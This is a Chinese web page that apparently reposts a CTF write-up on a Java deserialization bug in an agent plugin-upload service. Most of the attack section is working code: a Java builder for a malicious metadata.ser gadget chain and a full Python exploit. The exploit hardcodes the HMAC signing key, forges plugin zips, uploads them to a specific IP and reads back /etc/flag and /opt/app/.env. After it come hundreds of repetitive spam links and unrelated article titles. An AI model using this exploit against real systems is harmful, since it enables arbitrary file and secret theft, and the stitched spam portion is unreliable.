当前位置: 首页 > news >正文

插件包必须包含 manifest.json

 

已知前端和 agent-core.jar 都说明插件包必须包含 manifest.json 与 metadata.ser,并且上传后会校验 HMAC。继续看反序列化相关类可以发现:

  • 根对象可以用 ResourceRefresher
  • ResourceRefresher.refresh() 会调用 DataStream.process(...)
  • DataStream 最终会让 FileExporter.export(path) 读取目标文件
  • FileExporter 再把内容写入 LogService.log(team_id, ...)

2.写恶意metadata

所以只要自己生成一个恶意 metadata.ser,再用题目给的密钥重新签名,就能把任意文件读到日志里。

import com.agent.update.deserialization.DataStream;
import com.agent.update.deserialization.FileExporter;
import com.agent.update.deserialization.ResourceRefresher;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;public class BuildReadPayload {public static void main(String[] args) throws Exception {if (args.length != 3) {System.err.println("Usage: BuildReadPayload <teamId> <targetPath> <outputFile>");System.exit(1);}String teamId = args[0];String targetPath = args[1];String outputFile = args[2];FileExporter exporter = new FileExporter(teamId);DataStream dataStream = new DataStream(targetPath, exporter);ResourceRefresher refresher = new ResourceRefresher(targetPath);refresher.setDataStream(dataStream);try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(outputFile))) {oos.writeObject(refresher);}}
}
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import shutil
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
import zipfile
from pathlib import PathBASE_DIR = Path(__file__).resolve().parent
SRC_ROOT = BASE_DIR / "payload_src"
BUILD_DIR = BASE_DIR / "payload_build"
JAVA_SRC = BASE_DIR / "BuildReadPayload.java"
JAVA_CLASS = BUILD_DIR / "BuildReadPayload.class"
HMAC_KEY = b"k3y_5A62_X86"def run(cmd):subprocess.run(cmd, check=True, cwd=BASE_DIR)def ensure_builder():source_files = [JAVA_SRC, *SRC_ROOT.rglob("*.java")]if JAVA_CLASS.exists() and all(JAVA_CLASS.stat().st_mtime >= src.stat().st_mtime for src in source_files):returnBUILD_DIR.mkdir(exist_ok=True)run(["javac", "-d", str(BUILD_DIR), *[str(src) for src in source_files]])def build_metadata(team_id: str, target_path: str, out_file: Path):ensure_builder()run(["java", "-cp", str(BUILD_DIR), "BuildReadPayload", team_id, target_path, str(out_file)])def sign_file(path: Path) -> str:data = path.read_bytes()digest = hmac.new(HMAC_KEY, data, hashlib.sha256).digest()return base64.b64encode(digest).decode()def build_zip(team_id: str, target_path: str, out_zip: Path):with tempfile.TemporaryDirectory() as tmp_dir:tmp_path = Path(tmp_dir)metadata_path = tmp_path / "metadata.ser"manifest_path = tmp_path / "manifest.json"build_metadata(team_id, target_path, metadata_path)manifest = {"pluginName": "official-helper","version": "1.0.1","hmacSignature": sign_file(metadata_path),"description": f"team={team_id} target={target_path}",}manifest_path.write_text(json.dumps(manifest, ensure_ascii=False, indent=2), encoding="utf-8")with zipfile.ZipFile(out_zip, "w", zipfile.ZIP_DEFLATED) as zf:zf.write(manifest_path, "manifest.json")zf.write(metadata_path, "metadata.ser")def http_get(url: str):req = urllib.request.Request(url, method="GET")with urllib.request.urlopen(req, timeout=15) as resp:return resp.status, resp.read()def http_upload(url: str, team_id: str, zip_path: Path):boundary = "----CodexBoundary7MA4YWxkTrZu0gW"body = bytearray()def add_text(name: str, value: str):body.extend(f"--{boundary}\r\n".encode())body.extend(f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode())body.extend(value.encode())body.extend(b"\r\n")def add_file(name: str, filename: str, content: bytes):body.extend(f"--{boundary}\r\n".encode())body.extend(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode())body.extend(b"Content-Type: application/zip\r\n\r\n")body.extend(content)body.extend(b"\r\n")add_text("team_id", team_id)add_file("file", zip_path.name, zip_path.read_bytes())body.extend(f"--{boundary}--\r\n".encode())req = urllib.request.Request(url, data=bytes(body), method="POST")req.add_header("Content-Type", f"multipart/form-data; boundary={boundary}")req.add_header("Content-Length", str(len(body)))with urllib.request.urlopen(req, timeout=20) as resp:return resp.status, resp.read()def parse_args():parser = argparse.ArgumentParser(description="Exploit the agent upload deserialization bug")parser.add_argument("--base-url", default="http://39.105.213.28:9000")parser.add_argument("--team-id", default="codex-team")parser.add_argument("--target",action="append",dest="targets",help="File path to read; can be passed multiple times",)parser.add_argument("--zip-out", help="Write a single payload zip to this path")parser.add_argument("--build-only", action="store_true")parser.add_argument("--keep-artifacts", action="store_true")return parser.parse_args()def extract_messages(log_blob: bytes):data = json.loads(log_blob.decode())return [item.get("message", "") for item in data.get("logs", [])]def main():args = parse_args()targets = args.targets or ["/etc/flag", "/opt/app/.env"]if args.zip_out and len(targets) != 1:raise SystemExit("--zip-out requires exactly one --target")work_dir = Path(tempfile.mkdtemp(prefix="agent-upload-"))print(f"[+] team_id = {args.team_id}")print(f"[+] work_dir = {work_dir}")try:for idx, target in enumerate(targets, start=1):zip_path = Path(args.zip_out) if args.zip_out else work_dir / f"plugin-{idx}.zip"build_zip(args.team_id, target, zip_path)print(f"[+] built payload for {target}: {zip_path}")if args.build_only:print()continuetry:status, body = http_upload(f"{args.base_url}/api/upload", args.team_id, zip_path)print(f"[+] upload status={status} body={body.decode(errors='replace')}")except urllib.error.HTTPError as exc:err_body = exc.read().decode(errors="replace")print(f"[+] upload returned HTTP {exc.code}: {err_body}")except urllib.error.URLError as exc:print(f"[!] upload failed: {exc}")print()continuestatus, logs = http_get(f"{args.base_url}/api/logs?{urllib.parse.urlencode({'team_id': args.team_id})}")print(f"[+] logs status={status}")for message in extract_messages(logs):print(f"    {message}")print()finally:if args.keep_artifacts:print(f"[+] keeping artifacts in {work_dir}")else:shutil.rmtree(work_dir, ignore_errors=True)if __name__ == "__main__":try:main()except subprocess.CalledProcessError as exc:print(f"[!] command failed: {exc}", file=sys.stderr)sys.exit(exc.returncode)



https://weibo.com/ttarticle/p/show?id=2309405300380027715787
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300380027715787
https://weibo.com/ttarticle/p/show?id=2309405300381000532103
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381000532103
https://weibo.com/ttarticle/p/show?id=2309405300381482877047
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381482877047
https://weibo.com/ttarticle/p/show?id=2309405300381554442421
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381554442421
https://weibo.com/ttarticle/p/show?id=2309405300381981999196
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381981999196
https://weibo.com/ttarticle/p/show?id=2309405300382044913915
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382044913915
https://weibo.com/ttarticle/p/show?id=2309405300382112284927
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382112284927
https://weibo.com/ttarticle/p/show?id=2309405300382174937385
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382174937385
https://weibo.com/ttarticle/p/show?id=2309405300382242308222
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382242308222
https://weibo.com/ttarticle/p/show?id=2309405300382305222889
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382305222889
https://weibo.com/ttarticle/p/show?id=2309405300382372331640
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382372331640
https://weibo.com/ttarticle/p/show?id=2309405300382439440460
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382439440460
https://weibo.com/ttarticle/p/show?id=2309405300382502093731
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382502093731
https://weibo.com/ttarticle/p/show?id=2309405300382573396139
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382573396139
https://weibo.com/ttarticle/p/show?id=2309405300382640504942
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382640504942
https://weibo.com/ttarticle/p/show?id=2309405300384020430886
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384020430886
https://weibo.com/ttarticle/p/show?id=2309405300384142328038
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384142328038
https://weibo.com/ttarticle/p/show?id=2309405300384213631166
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384213631166
https://weibo.com/ttarticle/p/show?id=2309405300384284934195
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384284934195
https://weibo.com/ttarticle/p/show?id=2309405300384360169606
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384360169606
https://weibo.com/ttarticle/p/show?id=2309405300384431734908
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384431734908
https://weibo.com/ttarticle/p/show?id=2309405300384582730103
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384582730103
https://weibo.com/ttarticle/p/show?id=2309405300384670810250
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384670810250
https://weibo.com/ttarticle/p/show?id=2309405300384746045856
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384746045856
https://weibo.com/ttarticle/p/show?id=2309405300384817349176
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384817349176
https://weibo.com/ttarticle/p/show?id=2309405300384930857145
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384930857145
https://weibo.com/ttarticle/p/show?id=2309405300385060880580
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385060880580
https://weibo.com/ttarticle/p/show?id=2309405300385148699208
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385148699208
https://weibo.com/ttarticle/p/show?id=2309405300385220002147
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385220002147
https://weibo.com/ttarticle/p/show?id=2309405300385295761413
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385295761413
https://weibo.com/ttarticle/p/show?id=2309405300385383841937
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385383841937
https://weibo.com/ttarticle/p/show?id=2309405300385455145423
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385455145423
https://weibo.com/ttarticle/p/show?id=2309405300385522253999
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385522253999
https://weibo.com/ttarticle/p/show?id=2309405300385593294965
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385593294965
https://weibo.com/ttarticle/p/show?id=2309405300378433880165
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378433880165
https://weibo.com/ttarticle/p/show?id=2309405300378521698453
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378521698453
https://weibo.com/ttarticle/p/show?id=2309405300378618167898
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378618167898
https://weibo.com/ttarticle/p/show?id=2309405300378714636415
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378714636415
https://weibo.com/ttarticle/p/show?id=2309405300378811105447
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378811105447
https://weibo.com/ttarticle/p/show?id=2309405300378903380112
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378903380112
https://weibo.com/ttarticle/p/show?id=2309405300379000111380
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379000111380
https://weibo.com/ttarticle/p/show?id=2309405300379146911792
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379146911792
https://weibo.com/ttarticle/p/show?id=2309405300379255701760
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379255701760
https://weibo.com/ttarticle/p/show?id=2309405300379394113630
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379394113630
https://weibo.com/ttarticle/p/show?id=2309405300379474067607
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379474067607
https://weibo.com/ttarticle/p/show?id=2309405300379591245945
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379591245945
https://weibo.com/ttarticle/p/show?id=2309405300379713142992
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379713142992
https://weibo.com/ttarticle/p/show?id=2309405300379784183946
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379784183946
https://weibo.com/ttarticle/p/show?id=2309405300379855487131
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379855487131
https://weibo.com/ttarticle/p/show?id=2309405300371231998040
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371231998040
https://weibo.com/ttarticle/p/show?id=2309405300371328729124
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371328729124
https://weibo.com/ttarticle/p/show?id=2309405300371425198237
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371425198237
https://weibo.com/ttarticle/p/show?id=2309405300371521667201
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371521667201
https://weibo.com/ttarticle/p/show?id=2309405300371647496427
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371647496427
https://weibo.com/ttarticle/p/show?id=2309405300371752091881
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371752091881
https://weibo.com/ttarticle/p/show?id=2309405300371877921103
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300371877921103
https://weibo.com/ttarticle/p/show?id=2309405300372045955296
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372045955296
https://weibo.com/ttarticle/p/show?id=2309405300372192756198
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372192756198
https://weibo.com/ttarticle/p/show?id=2309405300372322517210
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372322517210
https://weibo.com/ttarticle/p/show?id=2309405300372444414129
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372444414129
https://weibo.com/ttarticle/p/show?id=2309405300372540620808
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372540620808
https://weibo.com/ttarticle/p/show?id=2309405300372637352205
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372637352205
https://weibo.com/ttarticle/p/show?id=2309405300372733821115
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372733821115
https://weibo.com/ttarticle/p/show?id=2309405300372830290059
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372830290059
https://weibo.com/ttarticle/p/show?id=2309405300372922302774
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300372922302774
https://weibo.com/ttarticle/p/show?id=2309405300373014577503
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300373014577503
https://weibo.com/ttarticle/p/show?id=2309405300373107114278
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300373107114278
https://weibo.com/ttarticle/p/show?id=2309405300373215904207
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300373215904207
https://weibo.com/ttarticle/p/show?id=2309405300376659689688
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300376659689688
https://weibo.com/ttarticle/p/show?id=2309405300376818811128
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300376818811128
https://weibo.com/ttarticle/p/show?id=2309405300377041371232
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377041371232
https://weibo.com/ttarticle/p/show?id=2309405300377158811709
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377158811709
https://weibo.com/ttarticle/p/show?id=2309405300377259475205
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377259475205
https://weibo.com/ttarticle/p/show?id=2309405300377385304170
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377385304170
https://weibo.com/ttarticle/p/show?id=2309405300377519259771
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377519259771
https://weibo.com/ttarticle/p/show?id=2309405300377615990924
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377615990924
https://weibo.com/ttarticle/p/show?id=2309405300377762791560
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300377762791560
https://weibo.com/ttarticle/p/show?id=2309405300378048004330
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378048004330
https://weibo.com/ttarticle/p/show?id=2309405300378186416564
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378186416564
https://weibo.com/ttarticle/p/show?id=2309405300378320371982
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378320371982
https://weibo.com/ttarticle/p/show?id=2309405300378459046182
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378459046182
https://weibo.com/ttarticle/p/show?id=2309405300378568098008
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378568098008
https://weibo.com/ttarticle/p/show?id=2309405300378677149804
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378677149804
https://weibo.com/ttarticle/p/show?id=2309405300378786201620
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378786201620
https://weibo.com/ttarticle/p/show?id=2309405300378891059554
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378891059554
https://weibo.com/ttarticle/p/show?id=2309405300378999849491
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300378999849491
https://weibo.com/ttarticle/p/show?id=2309405300379108900993
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379108900993
https://weibo.com/ttarticle/p/show?id=2309405300379222147153
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379222147153
https://weibo.com/ttarticle/p/show?id=2309405300379419279756
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300379419279756
https://weibo.com/ttarticle/p/show?id=2309405300380304277570
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300380304277570
https://weibo.com/ttarticle/p/show?id=2309405300380606267716
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300380606267716
https://weibo.com/ttarticle/p/show?id=2309405300380883353697
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300380883353697
https://weibo.com/ttarticle/p/show?id=2309405300381030154509
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381030154509
https://weibo.com/ttarticle/p/show?id=2309405300381185081458
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381185081458
https://weibo.com/ttarticle/p/show?id=2309405300381290201115
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381290201115
https://weibo.com/ttarticle/p/show?id=2309405300381386408157
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381386408157
https://weibo.com/ttarticle/p/show?id=2309405300381575151735
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381575151735
https://weibo.com/ttarticle/p/show?id=2309405300381684465773
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381684465773
https://weibo.com/ttarticle/p/show?id=2309405300381814227414
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381814227414
https://weibo.com/ttarticle/p/show?id=2309405300381910958193
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381910958193
https://weibo.com/ttarticle/p/show?id=2309405300381998776399
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300381998776399
https://weibo.com/ttarticle/p/show?id=2309405300382074273924
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382074273924
https://weibo.com/ttarticle/p/show?id=2309405300382145577145
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382145577145
https://weibo.com/ttarticle/p/show?id=2309405300382288445764
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382288445764
https://weibo.com/ttarticle/p/show?id=2309405300382338515211
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382338515211
https://weibo.com/ttarticle/p/show?id=2309405300382389108842
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382389108842
https://weibo.com/ttarticle/p/show?id=2309405300382577852560
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382577852560
https://weibo.com/ttarticle/p/show?id=2309405300382636572944
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382636572944
https://weibo.com/ttarticle/p/show?id=2309405300382720196819
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382720196819
https://weibo.com/ttarticle/p/show?id=2309405300382862803337
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300382862803337
https://weibo.com/ttarticle/p/show?id=2309405300384016236599
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384016236599
https://weibo.com/ttarticle/p/show?id=2309405300384117161986
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384117161986
https://weibo.com/ttarticle/p/show?id=2309405300384209436800
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384209436800
https://weibo.com/ttarticle/p/show?id=2309405300384284934346
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384284934346
https://weibo.com/ttarticle/p/show?id=2309405300384355975386
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384355975386
https://weibo.com/ttarticle/p/show?id=2309405300384469221825
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384469221825
https://weibo.com/ttarticle/p/show?id=2309405300384586661947
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384586661947
https://weibo.com/ttarticle/p/show?id=2309405300384704102414
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384704102414
https://weibo.com/ttarticle/p/show?id=2309405300384796639424
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384796639424
https://weibo.com/ttarticle/p/show?id=2309405300384888651975
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384888651975
https://weibo.com/ttarticle/p/show?id=2309405300384956023248
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300384956023248
https://weibo.com/ttarticle/p/show?id=2309405300385010549192
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385010549192
https://weibo.com/ttarticle/p/show?id=2309405300385077395729
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385077395729
https://weibo.com/ttarticle/p/show?id=2309405300385140310649
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385140310649
https://weibo.com/ttarticle/p/show?id=2309405300385216069967
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385216069967
https://weibo.com/ttarticle/p/show?id=2309405300385287373076
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385287373076
https://weibo.com/ttarticle/p/show?id=2309405300385404813452
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385404813452
https://weibo.com/ttarticle/p/show?id=2309405300385484505380
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385484505380
https://weibo.com/ttarticle/p/show?id=2309405300385542963382
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385542963382
https://weibo.com/ttarticle/p/show?id=2309405300385597751629
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385597751629
https://weibo.com/ttarticle/p/show?id=2309405300385677443372
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385677443372
https://weibo.com/ttarticle/p/show?id=2309405300385744289962
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385744289962
https://weibo.com/ttarticle/p/show?id=2309405300385807204824
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385807204824
https://weibo.com/ttarticle/p/show?id=2309405300385866187237
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385866187237
https://weibo.com/ttarticle/p/show?id=2309405300385924645293
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300385924645293
https://weibo.com/ttarticle/p/show?id=2309405300386075639973
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386075639973
https://weibo.com/ttarticle/p/show?id=2309405300386125971849
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386125971849
https://weibo.com/ttarticle/p/show?id=2309405300386180497577
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386180497577
https://weibo.com/ttarticle/p/show?id=2309405300386243674181
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386243674181
https://weibo.com/ttarticle/p/show?id=2309405300386302394643
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386302394643
https://weibo.com/ttarticle/p/show?id=2309405300386356658677
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386356658677
https://weibo.com/ttarticle/p/show?id=2309405300386415640613
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386415640613
https://weibo.com/ttarticle/p/show?id=2309405300386482487447
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386482487447
https://weibo.com/ttarticle/p/show?id=2309405300386575024472
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300386575024472
https://weibo.com/ttarticle/p/show?id=2309405300387023552595
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387023552595
https://weibo.com/ttarticle/p/show?id=2309405300387367748078
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387367748078
https://weibo.com/ttarticle/p/show?id=2309405300387518481327
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387518481327
https://weibo.com/ttarticle/p/show?id=2309405300387581657478
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387581657478
https://weibo.com/ttarticle/p/show?id=2309405300387656892443
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387656892443
https://weibo.com/ttarticle/p/show?id=2309405300387720069278
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387720069278
https://weibo.com/ttarticle/p/show?id=2309405300387774333170
https://weibo.com/ttarticle/p/show?comment=1&id=2309405300387774333170
rrtyt-ergre-grht

 
http://www.jsqmd.com/news/847063/

相关文章:

  • 春秋云境 Initial
  • Tina Linux OTA开发指南:从架构设计到安全实现的嵌入式远程升级
  • 【Perplexity开源搜索权威白皮书】:基于172个真实项目实测数据,揭示Top 3搜索失效根因
  • 面向对象案例
  • 信步SV-OPS-H270嵌入式主板:高性能、高集成度的工业与边缘计算平台解析
  • 告别拍脑袋决策:用ArcMap加权叠加工具,为你的项目选址做个科学的‘体检报告’
  • 保姆级教程:用STM32+ESP8266+微信小程序,从零搭建Onenet物联网监控系统(含源码)
  • LeetCode热题100-二叉树展开为链表
  • 消息平台接入实战:Hermes Agent 实现微信/钉钉日常任务自动化的 4 步配置
  • Perplexity招聘数据深度报告(基于爬取12,847条JD的NLP分析:哪些技能正被悄悄淘汰?哪些证书突然溢价200%?)
  • 手把手教你改造10块钱的USBASP烧录器,让它兼容Arduino IDE和AVRDUDESS
  • PaddleOCR迁移学习避坑指南:为什么我的数字识别模型很快就过拟合了?
  • QML ListView花式动画全攻略:从优雅入场到丝滑删除的Transition实战
  • Harness 中的工具调用冲突检测与解决
  • 别再傻傻重装系统了!Vmware装Ubuntu报‘unable to find a live file system’?试试这个隐藏的Hyper-V开关
  • B站视频下载神器:如何优雅地将Bilibili内容保存到本地
  • 保姆级教程:用Java+SpringBoot给服务器告警邮件装个‘飞书闹钟’
  • STM32独立看门狗IWDG喂狗超时?手把手教你用CubeMX配置并避开3个常见坑
  • 2025届学术党必备的五大AI论文平台解析与推荐
  • Grok 4.3与未来展望——智能体时代的Grok与AI安全新范式
  • 格式改到心态崩?Paperxie 智能排版,一键把论文 “捏” 成学校模板
  • 手把手教你用51单片机IIC驱动0.91寸OLED屏(附完整代码与Proteus仿真)
  • 编程统计员工午休时长,下午工作效率数据,划定合理休息时间,科学提升全天职场整体工作产能。
  • 嵌入式主板SV1a-19016-KP选型与工业应用实战解析
  • GX Works3实战:基于TCP+SLMP协议与三菱FX5U的工业互联配置详解
  • 独立开发者如何借助Taotoken低成本尝试不同大模型能力
  • 3个步骤掌握WindowResizer:轻松突破Windows窗口尺寸限制的终极方案
  • 还在对着学校格式手册掉头发?Paperxie 帮你一键搞定毕业论文排版
  • Claude Code 用户如何通过 Taotoken 配置稳定 API 连接避免封号困扰
  • 别再傻傻用命令行测试了!SoKIT这个TCP/UDP调试工具,5分钟上手真香